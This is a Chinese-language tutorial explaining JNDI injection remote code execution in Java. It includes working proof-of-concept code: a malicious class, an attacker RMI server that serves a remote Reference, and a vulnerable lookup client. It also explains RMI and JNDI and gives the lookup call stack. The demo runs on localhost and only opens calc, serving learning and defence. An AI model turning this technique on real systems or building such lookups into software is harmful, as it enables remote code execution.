在2016年的BlackHat上,@pwntester分享了通过JNDI注入进行RCE利用的方法。JNDI注入利用方式比较简单。我们先看一下poc代码。
首先在攻击机上部署恶意代码exp.class。exp.class放在http://127.0.0.1:8001/目录下,所以攻击机需要开启http服务和rmi服务。
import java.io.IOException;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class exp extends UnicastRemoteObject { public exp() throws IOException { super(); System.out.println("exp exec"); Runtime.getRuntime().exec("calc"); }}
在攻击机上部署rmi服务(rmi sever)
import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class server { public static void main(String[] args) throws RemoteException, NamingException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference =new Reference("exp","exp","http://127.0.0.1:8001/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.rebind("aa", referenceWrapper); System.out.println("======= 启动RMI服务成功! ======="); }}
在靶机上存在有ctx.lookup("payload")payload为可控参数代码(client)
import javax.naming.Context;import javax.naming.InitialContext;public class client { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); }}
jdk1.8.121之后需要添加System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true")
如此就可以执行任意命令了。这里涉及到了JNDI和RMI,懂得自然懂,不懂的话,看这里。
我们需要先了解几个知识点:
1.什么是RMI
2.什么是JNDI
3.为什么Reference要引用一个远程的类
4.JNDI调用栈
RMI:
远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如:CORBA、WebService,这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。
通俗来讲,rmi是客户端调用服务器的方法,并在服务端执行后返回结果。与JNDI不同,JNDI注入攻击者是rmi的服务端。JDK1.8.121之前版本rmi本身就有反序列化漏洞。rmi示例:
客户端:
import java.rmi.AccessException;import java.rmi.NotBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RegistryClient { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(1099); HelloRegistryFacade hello; hello = (HelloRegistryFacade) registry.lookup("HelloRegistry"); String response = hello.helloWorld("kali"); System.out.println("=======> " + response + " <======="); } catch (NotBoundException | RemoteException e) { e.printStackTrace(); } }}
import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloRegistryFacade extends Remote { String helloWorld(String name) throws RemoteException;}
服务端:
import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class rmi_server { public static void main(String[] args) { try { // 本地主机上的远程对象注册表Registry的实例,默认端口1099 Registry registry = LocateRegistry.createRegistry(1099); // 创建一个远程对象 HelloRegistryFacadeImpl hello = new HelloRegistryFacadeImpl(); // 把远程对象注册到RMI注册服务器上,并命名为HelloRegistry registry.rebind("HelloRegistry", (HelloRegistryFacadeImpl) hello); System.out.println("======= 启动RMI服务成功! ======="); } catch (RemoteException e) { e.printStackTrace(); } }}
import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloRegistryFacade extends Remote { String helloWorld(String name) throws RemoteException;}
import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloRegistryFacadeImpl extends UnicastRemoteObject implements HelloRegistryFacade{ public HelloRegistryFacadeImpl() throws RemoteException { super(); } @Override public String helloWorld(String name) { return "[Registry] 你好! " + name; }}
JNDI:
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);
这是指通过context对象访问远程rmi对象。整个过程如下:
目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;
InitialContext.lookup()调用栈为:
getURLOrDefaultInitCtx("aa");getURLContext("aa");RegistryContext.lookup("aa");RegistryContext.decodeObject(referenceWrapper,"aa");NamingManager.getObjectInstance();factory.getObjectInstance(refInfo, name, nameCtx,environment);//创建恶意类对象
为什么Reference要引用一个远程的类?因为服务端传给客户端的是一个Reference对象,如果这个对象里没有factory和factoryLaction的话只会在客户端本地查找恶意类,但是恶意类是存放的远程的。